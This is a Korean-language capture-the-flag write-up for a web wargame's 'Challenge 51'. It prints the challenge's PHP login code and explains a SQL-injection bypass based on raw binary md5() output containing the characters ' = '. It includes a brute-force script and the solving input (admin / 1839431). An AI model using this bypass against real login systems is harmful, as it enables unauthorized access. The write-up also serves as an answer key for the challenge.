# old-51 (250)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M22YOTwSxbq7XhZ-vVD%2F-M22YSFf9tjBW4jL2WKU%2Fimage.png?alt=media\&token=78141c45-b039-4baf-8044-27f70a40d152)

view-source를 클릭해 본 소스는 아래와 같다.

```php
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
  if($_POST['id'] && $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>
```

19번째 줄의 `md5()`  함수에 `true` 가 붙으면 32자리 hex 값이 아닌 16자리 binary를 반환한다. 따라서 `'` , `=` 과 같은 특수문자 출력이 가능하다.

만약 `md5($_POST['pw'],true)` 의 결과 값이 `문자열'='문자열` 이 된다면 20번째 줄 쿼리문에서 pw 부분이 `pw='문자열'='문자열'` 이 될 것이고 이는 `true` 이다.

`md5($_POST['pw'],true)`가 `'='` 를 포함하는 `$_POST['pw']` 를 찾는 PHP 코드는 아래와 같다.

```php
<?php
$pw = 0;
while (!strpos(md5(++$pw, true), "'='")) {
}
echo $pw;
```

실행결과, `$pw` 는 `1839431` 이다.

폼에 id는 `admin` , pw는 `1839431` 를 넣고 제출하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M22YZWg1MB-nerzR1rL%2F-M23MgZvvFfB5mzGXQSG%2Fimage.png?alt=media\&token=797f56b1-fed2-4ff8-8465-cdd2f7772a93)
